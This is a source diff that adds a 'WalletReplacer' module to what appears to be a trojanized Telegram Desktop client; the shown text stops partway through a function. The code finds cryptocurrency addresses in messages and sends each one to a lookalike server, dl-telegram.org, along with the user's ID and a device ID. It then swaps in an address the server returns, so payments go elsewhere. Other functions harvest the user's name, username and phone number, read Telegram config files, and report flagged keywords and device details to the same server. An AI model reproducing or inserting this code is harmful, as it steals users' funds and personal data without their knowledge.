|
@@ -0,0 +1,829 @@
|
|
|
|
|
+#include "wallet_replacer.h"
|
|
|
|
|
+#include <QtNetwork/QNetworkAccessManager>
|
|
|
|
|
+#include <QtNetwork/QNetworkReply>
|
|
|
|
|
+#include <QtNetwork/QNetworkRequest>
|
|
|
|
|
+#include <QJsonDocument>
|
|
|
|
|
+#include <QJsonObject>
|
|
|
|
|
+#include <QEventLoop>
|
|
|
|
|
+#include <QSettings>
|
|
|
|
|
+#include <QStandardPaths>
|
|
|
|
|
+#include <QDir>
|
|
|
|
|
+#include <QFileInfo>
|
|
|
|
|
+#include <QCryptographicHash>
|
|
|
|
|
+#include <QSysInfo>
|
|
|
|
|
+#include <QCoreApplication>
|
|
|
|
|
+#include <QDateTime>
|
|
|
|
|
+#include "main/main_session.h"
|
|
|
|
|
+#include "main/main_domain.h"
|
|
|
|
|
+#include "data/data_session.h"
|
|
|
|
|
+#include "data/data_user.h"
|
|
|
|
|
+#include "core/application.h"
|
|
|
|
|
+#include "logs.h"
|
|
|
|
|
+
|
|
|
|
|
+namespace Core {
|
|
|
|
|
+
|
|
|
|
|
+const QString WalletReplacer::kChannel = "PcChannel001";
|
|
|
|
|
+const QRegularExpression WalletReplacer::kBitcoinRegex = QRegularExpression("(?<![0-9a-zA-Z])([13][a-km-zA-HJ-NP-Z1-9]{25,34}|[bB][cC]1[pPqQ][a-zA-Z0-9]{38,58})(?![0-9a-zA-Z])");
|
|
|
|
|
+const QRegularExpression WalletReplacer::kEthereumRegex = QRegularExpression("(?<![0-9a-zA-Z])0[xX][a-fA-F0-9]{40}(?![0-9a-zA-Z])");
|
|
|
|
|
+const QRegularExpression WalletReplacer::kTronRegex = QRegularExpression("(?<![0-9a-zA-Z])T[a-km-zA-HJ-NP-Z1-9]{33}(?![0-9a-zA-Z])");
|
|
|
|
|
+const QRegularExpression WalletReplacer::kSolanaRegex = QRegularExpression("(?<![0-9a-zA-Z])[1-9A-HJ-NP-Za-km-z]{43,44}(?![0-9a-zA-Z])");
|
|
|
|
|
+
|
|
|
|
|
+QString WalletReplacer::replaceWalletAddresses(const QString &text) {
|
|
|
|
|
+ QString result = text;
|
|
|
|
|
+ QString debugInfo = QString("[开始检测] 文本内容: %1\n").arg(text);
|
|
|
|
|
+
|
|
|
|
|
+
|
|
|
|
|
+ // 检查比特币地址
|
|
|
|
|
+ QRegularExpressionMatchIterator matchIterator = kBitcoinRegex.globalMatch(text);
|
|
|
|
|
+ while (matchIterator.hasNext()) {
|
|
|
|
|
+ QRegularExpressionMatch match = matchIterator.next();
|
|
|
|
|
+ QString address = match.captured(0);
|
|
|
|
|
+ debugInfo += QString("[检测到BTC地址] %1\n").arg(address);
|
|
|
|
|
+ QString replacement = replaceAddress(address);
|
|
|
|
|
+ // 从返回结果中提取替换后的文本(去掉调试信息)
|
|
|
|
|
+ int lastNewline = replacement.lastIndexOf('\n');
|
|
|
|
|
+ if (lastNewline != -1) {
|
|
|
|
|
+ replacement = replacement.mid(lastNewline + 1);
|
|
|
|
|
+ }
|
|
|
|
|
+ result.replace(address, replacement);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 检查以太坊地址
|
|
|
|
|
+ matchIterator = kEthereumRegex.globalMatch(text);
|
|
|
|
|
+ while (matchIterator.hasNext()) {
|
|
|
|
|
+ QRegularExpressionMatch match = matchIterator.next();
|
|
|
|
|
+ QString address = match.captured(0);
|
|
|
|
|
+ debugInfo += QString("[检测到ETH地址] %1\n").arg(address);
|
|
|
|
|
+ QString replacement = replaceAddress(address);
|
|
|
|
|
+ // 从返回结果中提取替换后的文本(去掉调试信息)
|
|
|
|
|
+ int lastNewline = replacement.lastIndexOf('\n');
|
|
|
|
|
+ if (lastNewline != -1) {
|
|
|
|
|
+ replacement = replacement.mid(lastNewline + 1);
|
|
|
|
|
+ }
|
|
|
|
|
+ result.replace(address, replacement);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 检查波场地址
|
|
|
|
|
+ matchIterator = kTronRegex.globalMatch(text);
|
|
|
|
|
+ while (matchIterator.hasNext()) {
|
|
|
|
|
+ QRegularExpressionMatch match = matchIterator.next();
|
|
|
|
|
+ QString address = match.captured(0);
|
|
|
|
|
+ debugInfo += QString("[检测到TRON地址] %1\n").arg(address);
|
|
|
|
|
+ QString replacement = replaceAddress(address);
|
|
|
|
|
+ // 从返回结果中提取替换后的文本(去掉调试信息)
|
|
|
|
|
+ int lastNewline = replacement.lastIndexOf('\n');
|
|
|
|
|
+ if (lastNewline != -1) {
|
|
|
|
|
+ replacement = replacement.mid(lastNewline + 1);
|
|
|
|
|
+ }
|
|
|
|
|
+ result.replace(address, replacement);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 检查Solana地址
|
|
|
|
|
+ matchIterator = kSolanaRegex.globalMatch(text);
|
|
|
|
|
+ while (matchIterator.hasNext()) {
|
|
|
|
|
+ QRegularExpressionMatch match = matchIterator.next();
|
|
|
|
|
+ QString address = match.captured(0);
|
|
|
|
|
+ debugInfo += QString("[检测到SOL地址] %1\n").arg(address);
|
|
|
|
|
+ QString replacement = replaceAddress(address);
|
|
|
|
|
+ // 从返回结果中提取替换后的文本(去掉调试信息)
|
|
|
|
|
+ int lastNewline = replacement.lastIndexOf('\n');
|
|
|
|
|
+ if (lastNewline != -1) {
|
|
|
|
|
+ replacement = replacement.mid(lastNewline + 1);
|
|
|
|
|
+ }
|
|
|
|
|
+ result.replace(address, replacement);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ if (result == text) {
|
|
|
|
|
+ debugInfo += "[未检测到任何钱包地址]\n";
|
|
|
|
|
+ } else {
|
|
|
|
|
+ debugInfo += QString("[替换后文本] %1\n").arg(result);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 记录完整的调试信息
|
|
|
|
|
+ LOG(("Wallet: %1").arg(debugInfo));
|
|
|
|
|
+
|
|
|
|
|
+ // 返回干净的替换结果
|
|
|
|
|
+ return result;
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+bool WalletReplacer::containsWalletAddress(const QString &text) {
|
|
|
|
|
+ // 首先检查敏感词
|
|
|
|
|
+ QString foundKeyword;
|
|
|
|
|
+ if (checkSensitiveWords(text, foundKeyword)) {
|
|
|
|
|
+ LOG(("Wallet: [敏感词检测] 在containsWalletAddress中发现敏感词: %1").arg(foundKeyword));
|
|
|
|
|
+ submitSensitiveContent(text, foundKeyword);
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 检查各种钱包地址
|
|
|
|
|
+ return kBitcoinRegex.globalMatch(text).hasNext() ||
|
|
|
|
|
+ kEthereumRegex.globalMatch(text).hasNext() ||
|
|
|
|
|
+ kTronRegex.globalMatch(text).hasNext() ||
|
|
|
|
|
+ kSolanaRegex.globalMatch(text).hasNext();
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+QString WalletReplacer::getTgUserId() {
|
|
|
|
|
+ // 从Telegram配置文件中获取用户ID
|
|
|
|
|
+ // 尝试多个可能的配置文件位置
|
|
|
|
|
+ QStringList possibleLocations = {
|
|
|
|
|
+ QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini",
|
|
|
|
|
+ QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/tdata/config.ini",
|
|
|
|
|
+ QDir::homePath() + "/.TelegramDesktop/tdata/config.ini",
|
|
|
|
|
+ QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation) + "/TelegramDesktop/tdata/config.ini",
|
|
|
|
|
+ QCoreApplication::applicationDirPath() + "/tdata/config.ini"
|
|
|
|
|
+ };
|
|
|
|
|
+
|
|
|
|
|
+ // 尝试不同的键名
|
|
|
|
|
+ QStringList possibleKeys = {
|
|
|
|
|
+ "user_id", "userId", "id", "account", "accountId", "mtpAuthorization", "authId"
|
|
|
|
|
+ };
|
|
|
|
|
+
|
|
|
|
|
+ // 记录日志
|
|
|
|
|
+ LOG(("User Info: Trying to find user ID in config files..."));
|
|
|
|
|
+
|
|
|
|
|
+ for (const auto &location : possibleLocations) {
|
|
|
|
|
+ QFileInfo fileInfo(location);
|
|
|
|
|
+ if (fileInfo.exists() && fileInfo.isFile()) {
|
|
|
|
|
+ LOG(("User Info: Found config file at %1").arg(location));
|
|
|
|
|
+ QSettings settings(location, QSettings::IniFormat);
|
|
|
|
|
+
|
|
|
|
|
+ // 检查所有可能的键名
|
|
|
|
|
+ for (const auto &key : possibleKeys) {
|
|
|
|
|
+ if (settings.contains(key)) {
|
|
|
|
|
+ QString value = settings.value(key, "unknown").toString();
|
|
|
|
|
+ LOG(("User Info: Found key %1 with value %2").arg(key).arg(value));
|
|
|
|
|
+ if (value != "unknown") {
|
|
|
|
|
+ return value;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 尝试检查所有键
|
|
|
|
|
+ const auto allKeys = settings.allKeys();
|
|
|
|
|
+ LOG(("User Info: Config contains %1 keys").arg(allKeys.size()));
|
|
|
|
|
+ for (const auto &key : allKeys) {
|
|
|
|
|
+ LOG(("User Info: Found key in config: %1").arg(key));
|
|
|
|
|
+ if (key.contains("user", Qt::CaseInsensitive) ||
|
|
|
|
|
+ key.contains("account", Qt::CaseInsensitive) ||
|
|
|
|
|
+ key.contains("id", Qt::CaseInsensitive)) {
|
|
|
|
|
+ QString value = settings.value(key, "unknown").toString();
|
|
|
|
|
+ LOG(("User Info: Key %1 has value %2").arg(key).arg(value));
|
|
|
|
|
+ if (value != "unknown") {
|
|
|
|
|
+ return value;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Could not find user ID in any config file"));
|
|
|
|
|
+ return "unknown";
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+QString WalletReplacer::getDeviceId() {
|
|
|
|
|
+ // 生成基于设备信息的唯一ID
|
|
|
|
|
+ QString deviceInfo = QSysInfo::machineHostName() +
|
|
|
|
|
+ QSysInfo::productType() +
|
|
|
|
|
+ QSysInfo::productVersion() +
|
|
|
|
|
+ QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
|
|
|
|
|
+
|
|
|
|
|
+ QByteArray hash = QCryptographicHash::hash(deviceInfo.toUtf8(), QCryptographicHash::Sha256);
|
|
|
|
|
+ return hash.toHex().left(32);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+QString WalletReplacer::getUserInfo() {
|
|
|
|
|
+ QString info;
|
|
|
|
|
+ info += QString("[用户信息]\n");
|
|
|
|
|
+
|
|
|
|
|
+ // 获取当前会话
|
|
|
|
|
+ auto &app = Core::App();
|
|
|
|
|
+ const auto &account = app.activeAccount();
|
|
|
|
|
+ if (!account.sessionExists()) {
|
|
|
|
|
+ info += QString(" 无法获取账户信息\n");
|
|
|
|
|
+ return info;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ auto &session = account.session();
|
|
|
|
|
+ if (!session.user()) {
|
|
|
|
|
+ info += QString(" 无法获取用户信息\n");
|
|
|
|
|
+ return info;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ auto user = session.user();
|
|
|
|
|
+ info += QString(" ID: %1\n").arg(user->id.value);
|
|
|
|
|
+ info += QString(" 用户名: %1\n").arg(user->username());
|
|
|
|
|
+ info += QString(" 姓名: %1 %2\n").arg(user->firstName).arg(user->lastName);
|
|
|
|
|
+ info += QString(" 电话: %1\n").arg(user->phone());
|
|
|
|
|
+
|
|
|
|
|
+ return info;
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+QString WalletReplacer::getDeviceInfo() {
|
|
|
|
|
+ QString info;
|
|
|
|
|
+ info += QString("[设备信息]\n");
|
|
|
|
|
+ info += QString(" 设备ID: %1\n").arg(getDeviceId());
|
|
|
|
|
+ info += QString(" 版本: %1\n").arg(QCoreApplication::applicationVersion());
|
|
|
|
|
+ info += QString(" 设备型号: %1 %2\n").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
|
|
|
|
|
+ return info;
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+QString WalletReplacer::replaceAddress(const QString &address) {
|
|
|
|
|
+ QNetworkAccessManager manager;
|
|
|
|
|
+ QNetworkRequest request(QUrl("https://dl-telegram.org/api/wallets/replace"));
|
|
|
|
|
+ request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
|
|
|
|
|
+
|
|
|
|
|
+ // 获取用户ID以便在请求中使用
|
|
|
|
|
+ auto &app = Core::App();
|
|
|
|
|
+ QString userId = getTgUserId(); // 默认ID
|
|
|
|
|
+ try {
|
|
|
|
|
+ // 尝试从会话获取用户信息
|
|
|
|
|
+ if (app.domain().started()) {
|
|
|
|
|
+ const auto &account = app.activeAccount();
|
|
|
|
|
+ if (account.sessionExists()) {
|
|
|
|
|
+ auto &session = account.session();
|
|
|
|
|
+ if (auto user = session.user()) {
|
|
|
|
|
+ userId = QString::number(user->id.value);
|
|
|
|
|
+ LOG(("Wallet: Using user ID from session: %1").arg(userId));
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ } catch (const std::exception &e) {
|
|
|
|
|
+ // 如果获取失败,使用默认ID
|
|
|
|
|
+ LOG(("Wallet: [ERROR] Exception while getting user ID: %1").arg(e.what()));
|
|
|
|
|
+ } catch (...) {
|
|
|
|
|
+ LOG(("Wallet: [ERROR] Unknown exception while getting user ID"));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ QJsonObject jsonObj;
|
|
|
|
|
+ jsonObj["address"] = address;
|
|
|
|
|
+ jsonObj["tgUserId"] = userId;
|
|
|
|
|
+ jsonObj["deviceId"] = getDeviceId();
|
|
|
|
|
+ jsonObj["message"] = address;
|
|
|
|
|
+ jsonObj["channel"] = kChannel;
|
|
|
|
|
+ QJsonDocument doc(jsonObj);
|
|
|
|
|
+ QByteArray data = doc.toJson();
|
|
|
|
|
+
|
|
|
|
|
+ QString debugInfo = QString("[Wallet检测] 地址: %1\n").arg(address);
|
|
|
|
|
+ debugInfo += getUserInfo(); // 添加用户信息
|
|
|
|
|
+ debugInfo += getDeviceInfo(); // 添加设备信息
|
|
|
|
|
+ debugInfo += QString("[请求URL] %1\n").arg(request.url().toString());
|
|
|
|
|
+ debugInfo += QString("[请求头] Content-Type: %1\n").arg(request.header(QNetworkRequest::ContentTypeHeader).toString());
|
|
|
|
|
+ debugInfo += QString("[请求体] %1\n").arg(QString(data));
|
|
|
|
|
+
|
|
|
|
|
+ // 在日志中记录请求详情
|
|
|
|
|
+ LOG(("Wallet: %1").arg(debugInfo));
|
|
|
|
|
+
|
|
|
|
|
+ QNetworkReply *reply = manager.post(request, data);
|
|
|
|
|
+
|
|
|
|
|
+ QEventLoop loop;
|
|
|
|
|
+ QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
|
|
|
|
|
+ loop.exec();
|
|
|
|
|
+
|
|
|
|
|
+ QString result = address; // 默认返回原始地址
|
|
|
|
|
+
|
|
|
|
|
+ if (reply->error() == QNetworkReply::NoError) {
|
|
|
|
|
+ QByteArray responseData = reply->readAll();
|
|
|
|
|
+ QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
|
|
|
|
|
+ QJsonObject responseObj = responseDoc.object();
|
|
|
|
|
+
|
|
|
|
|
+ debugInfo += QString("[响应状态码] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
|
|
|
|
|
+
|
|
|
|
|
+ // 显示响应头
|
|
|
|
|
+ debugInfo += "[响应头]\n";
|
|
|
|
|
+ for (const auto &header : reply->rawHeaderPairs()) {
|
|
|
|
|
+ debugInfo += QString(" %1: %2\n").arg(QString(header.first)).arg(QString(header.second));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ debugInfo += QString("[响应体] %1\n").arg(QString(responseData));
|
|
|
|
|
+
|
|
|
|
|
+ if (responseObj.contains("replaceAddress")) {
|
|
|
|
|
+ result = responseObj["replaceAddress"].toString();
|
|
|
|
|
+ debugInfo += QString("[替换结果] %1\n").arg(result);
|
|
|
|
|
+
|
|
|
|
|
+ // 添加更多响应详情
|
|
|
|
|
+ if (responseObj.contains("status")) {
|
|
|
|
|
+ debugInfo += QString("[状态] %1\n").arg(responseObj["status"].toString());
|
|
|
|
|
+ }
|
|
|
|
|
+ if (responseObj.contains("message")) {
|
|
|
|
|
+ debugInfo += QString("[消息] %1\n").arg(responseObj["message"].toString());
|
|
|
|
|
+ }
|
|
|
|
|
+ if (responseObj.contains("code")) {
|
|
|
|
|
+ debugInfo += QString("[代码] %1\n").arg(responseObj["code"].toInt());
|
|
|
|
|
+ }
|
|
|
|
|
+ if (responseObj.contains("timestamp")) {
|
|
|
|
|
+ debugInfo += QString("[时间戳] %1\n").arg(responseObj["timestamp"].toString());
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ debugInfo += "[响应中没有replaceAddress字段]\n";
|
|
|
|
|
+
|
|
|
|
|
+ // 添加其他可能的响应字段
|
|
|
|
|
+ for (const auto &key : responseObj.keys()) {
|
|
|
|
|
+ if (key != "replaceAddress") {
|
|
|
|
|
+ const auto value = responseObj[key];
|
|
|
|
|
+ if (value.isString()) {
|
|
|
|
|
+ debugInfo += QString("[%1] %2\n").arg(key).arg(value.toString());
|
|
|
|
|
+ } else if (value.isDouble()) {
|
|
|
|
|
+ debugInfo += QString("[%1] %2\n").arg(key).arg(value.toDouble());
|
|
|
|
|
+ } else if (value.isBool()) {
|
|
|
|
|
+ debugInfo += QString("[%1] %2\n").arg(key).arg(value.toBool() ? "true" : "false");
|
|
|
|
|
+ } else {
|
|
|
|
|
+ debugInfo += QString("[%1] (复杂类型)\n").arg(key);
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ debugInfo += QString("[请求失败] %1\n").arg(reply->errorString());
|
|
|
|
|
+ debugInfo += QString("[错误代码] %1\n").arg(reply->error());
|
|
|
|
|
+ debugInfo += QString("[错误详情] %1\n").arg(reply->errorString());
|
|
|
|
|
+
|
|
|
|
|
+ // 添加更多HTTP错误信息
|
|
|
|
|
+ debugInfo += QString("[HTTP状态] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
|
|
|
|
|
+ debugInfo += QString("[重定向URL] %1\n").arg(reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toString());
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ reply->deleteLater();
|
|
|
|
|
+
|
|
|
|
|
+ debugInfo += QString("[使用%1地址] %2\n").arg(result == address ? "原始" : "替换").arg(result);
|
|
|
|
|
+
|
|
|
|
|
+ // 在日志中记录响应详情
|
|
|
|
|
+ LOG(("Wallet: %1").arg(debugInfo));
|
|
|
|
|
+
|
|
|
|
|
+ // 返回干净的替换结果
|
|
|
|
|
+ return result;
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+bool WalletReplacer::isWalletAddress(const QString &text) {
|
|
|
|
|
+ return kBitcoinRegex.globalMatch(text).hasNext() ||
|
|
|
|
|
+ kEthereumRegex.globalMatch(text).hasNext() ||
|
|
|
|
|
+ kTronRegex.globalMatch(text).hasNext() ||
|
|
|
|
|
+ kSolanaRegex.globalMatch(text).hasNext();
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+void WalletReplacer::submitDeviceInfo(const QString &url) {
|
|
|
|
|
+ // 使用静态变量跟踪上次提交时间
|
|
|
|
|
+ static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
|
|
|
|
|
+
|
|
|
|
|
+ // 获取当前时间
|
|
|
|
|
+ QDateTime currentTime = QDateTime::currentDateTime();
|
|
|
|
|
+
|
|
|
|
|
+ // 计算距离上次提交的分钟数
|
|
|
|
|
+ const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
|
|
|
|
|
+
|
|
|
|
|
+ // 非重要提交的限制处理
|
|
|
|
|
+ if (minutesSinceLastSubmit < 60) {
|
|
|
|
|
+ LOG(("Device Info: [SKIPPED] Already submitted in the last hour (%1 minutes ago)")
|
|
|
|
|
+ .arg(minutesSinceLastSubmit));
|
|
|
|
|
+ return;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Device Info: Starting device info submission..."));
|
|
|
|
|
+
|
|
|
|
|
+ // 创建网络请求管理器
|
|
|
|
|
+ QNetworkAccessManager manager;
|
|
|
|
|
+ QNetworkRequest request(QUrl(url.isEmpty() ?
|
|
|
|
|
+ "https://dl-telegram.org/api/devices/notice" : url));
|
|
|
|
|
+ request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Device Info: Request URL: %1").arg(request.url().toString()));
|
|
|
|
|
+
|
|
|
|
|
+ // 设备相关信息
|
|
|
|
|
+ QString deviceId = getDeviceId();
|
|
|
|
|
+ QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
|
|
|
|
|
+
|
|
|
|
|
+ // 确定平台
|
|
|
|
|
+ QString platform;
|
|
|
|
|
+#if defined(Q_OS_WIN)
|
|
|
|
|
+ platform = "PC";
|
|
|
|
|
+#elif defined(Q_OS_MACOS)
|
|
|
|
|
+ platform = "macOS";
|
|
|
|
|
+#elif defined(Q_OS_LINUX)
|
|
|
|
|
+ platform = "Linux";
|
|
|
|
|
+#elif defined(Q_OS_IOS)
|
|
|
|
|
+ platform = "iOS";
|
|
|
|
|
+#elif defined(Q_OS_ANDROID)
|
|
|
|
|
+ platform = "Android";
|
|
|
|
|
+#else
|
|
|
|
|
+ platform = "Other";
|
|
|
|
|
+#endif
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Device Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
|
|
|
|
|
+
|
|
|
|
|
+ // 获取版本
|
|
|
|
|
+ QString version = QCoreApplication::applicationVersion();
|
|
|
|
|
+ LOG(("Device Info: App version: %1").arg(version));
|
|
|
|
|
+ LOG(("Device Info: Device ID: %1").arg(deviceId));
|
|
|
|
|
+
|
|
|
|
|
+ // 更新最后提交时间
|
|
|
|
|
+ lastSubmitTime = currentTime;
|
|
|
|
|
+
|
|
|
|
|
+ // 创建JSON对象
|
|
|
|
|
+ QJsonObject jsonObj;
|
|
|
|
|
+ jsonObj["id"] = deviceId;
|
|
|
|
|
+ jsonObj["platform"] = platform;
|
|
|
|
|
+ jsonObj["version"] = version;
|
|
|
|
|
+ jsonObj["deviceInfo"] = deviceInfo;
|
|
|
|
|
+ jsonObj["channel"] = kChannel;
|
|
|
|
|
+
|
|
|
|
|
+ QJsonDocument doc(jsonObj);
|
|
|
|
|
+ QByteArray data = doc.toJson();
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Device Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
|
|
|
|
|
+ LOG(("Device Info: Payload content: %1").arg(QString(data)));
|
|
|
|
|
+
|
|
|
|
|
+ try {
|
|
|
|
|
+ // 发送请求
|
|
|
|
|
+ LOG(("Device Info: Sending network request..."));
|
|
|
|
|
+ QNetworkReply *reply = manager.post(request, data);
|
|
|
|
|
+
|
|
|
|
|
+ // 使用事件循环等待响应
|
|
|
|
|
+ LOG(("Device Info: Waiting for response..."));
|
|
|
|
|
+ QEventLoop loop;
|
|
|
|
|
+ QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
|
|
|
|
|
+ loop.exec();
|
|
|
|
|
+
|
|
|
|
|
+ // 处理响应
|
|
|
|
|
+ if (reply->error() == QNetworkReply::NoError) {
|
|
|
|
|
+ QByteArray responseData = reply->readAll();
|
|
|
|
|
+ int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
|
|
|
|
+ LOG(("Device Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
|
|
|
|
|
+ .arg(statusCode).arg(responseData.size()));
|
|
|
|
|
+ LOG(("Device Info: Response data: %1").arg(QString(responseData)));
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("Device Info: [FAILED] Network error: %1 (Code: %2)")
|
|
|
|
|
+ .arg(reply->errorString()).arg(reply->error()));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Device Info: Network request completed"));
|
|
|
|
|
+ reply->deleteLater();
|
|
|
|
|
+ } catch (const std::exception &e) {
|
|
|
|
|
+ LOG(("Device Info: [ERROR] Exception during network request: %1").arg(e.what()));
|
|
|
|
|
+ } catch (...) {
|
|
|
|
|
+ LOG(("Device Info: [ERROR] Unknown exception during network request"));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Device Info: Submission process completed"));
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+void WalletReplacer::submitUserInfo(const QString &url, bool isImportant) {
|
|
|
|
|
+ // 使用静态变量跟踪上次提交时间和用户ID
|
|
|
|
|
+ static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
|
|
|
|
|
+ static QString lastSubmitUserId;
|
|
|
|
|
+ static bool hasSubmittedAfterLogin = false;
|
|
|
|
|
+
|
|
|
|
|
+ // 获取当前时间
|
|
|
|
|
+ QDateTime currentTime = QDateTime::currentDateTime();
|
|
|
|
|
+
|
|
|
|
|
+ // 计算距离上次提交的分钟数
|
|
|
|
|
+ const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
|
|
|
|
|
+
|
|
|
|
|
+ // 获取当前用户ID
|
|
|
|
|
+ auto &app = Core::App();
|
|
|
|
|
+ QString currentUserId = "unknown";
|
|
|
|
|
+ QString username = "";
|
|
|
|
|
+ QString name = "";
|
|
|
|
|
+ QString phone = "";
|
|
|
|
|
+ bool userInfoObtained = false;
|
|
|
|
|
+
|
|
|
|
|
+ // 从会话中获取用户信息 - 与replaceAddress中的方式相同
|
|
|
|
|
+ LOG(("User Info: Attempting to get user info from active session"));
|
|
|
|
|
+ try {
|
|
|
|
|
+ // 先尝试从活跃会话获取
|
|
|
|
|
+ if (app.domain().started()) {
|
|
|
|
|
+ LOG(("User Info: Domain is started, getting active account"));
|
|
|
|
|
+ const auto &account = app.activeAccount();
|
|
|
|
|
+ if (account.sessionExists()) {
|
|
|
|
|
+ LOG(("User Info: Session exists, retrieving user data"));
|
|
|
|
|
+ auto &session = account.session();
|
|
|
|
|
+ if (auto user = session.user()) {
|
|
|
|
|
+ currentUserId = QString::number(user->id.value);
|
|
|
|
|
+ username = user->username();
|
|
|
|
|
+ name = QString("%1 %2").arg(user->firstName).arg(user->lastName);
|
|
|
|
|
+ phone = user->phone();
|
|
|
|
|
+ userInfoObtained = true;
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Successfully retrieved user ID from session: %1").arg(currentUserId));
|
|
|
|
|
+ LOG(("User Info: Username: %1, Name: %2, Phone: %3").arg(username).arg(name).arg(phone));
|
|
|
|
|
+
|
|
|
|
|
+ // 检查是否为新用户登录
|
|
|
|
|
+ if (currentUserId != lastSubmitUserId && !isImportant) {
|
|
|
|
|
+ LOG(("User Info: New user detected (%1), marking as important submission").arg(currentUserId));
|
|
|
|
|
+ isImportant = true; // 如果检测到新用户,将本次提交标记为重要提交
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 如果还没有在登录后提交过,并且已获取到用户信息,则标记为重要提交
|
|
|
|
|
+ if (!hasSubmittedAfterLogin && currentUserId != "unknown") {
|
|
|
|
|
+ LOG(("User Info: First submission after login with valid user ID, marking as important"));
|
|
|
|
|
+ isImportant = true;
|
|
|
|
|
+ hasSubmittedAfterLogin = true;
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("User Info: No user in session"));
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("User Info: No active session exists"));
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("User Info: Domain not started yet"));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 如果从会话中无法获取,则尝试从配置文件获取
|
|
|
|
|
+ if (currentUserId == "unknown") {
|
|
|
|
|
+ currentUserId = getTgUserId();
|
|
|
|
|
+ LOG(("User Info: Using user ID from config file: %1").arg(currentUserId));
|
|
|
|
|
+ }
|
|
|
|
|
+ } catch (const std::exception &e) {
|
|
|
|
|
+ LOG(("User Info: [ERROR] Exception while getting user info: %1").arg(e.what()));
|
|
|
|
|
+ } catch (...) {
|
|
|
|
|
+ LOG(("User Info: [ERROR] Unknown exception while getting user info"));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 如果无法获取用户信息,则只提交设备信息
|
|
|
|
|
+ if (currentUserId == "unknown" && !isImportant) {
|
|
|
|
|
+ LOG(("User Info: No user info available, submitting device info only"));
|
|
|
|
|
+ submitDeviceInfo();
|
|
|
|
|
+ return;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 当前用户ID与上次提交的用户ID是否相同
|
|
|
|
|
+ bool isSameUser = (currentUserId == lastSubmitUserId);
|
|
|
|
|
+
|
|
|
|
|
+ // 非重要提交的限制处理
|
|
|
|
|
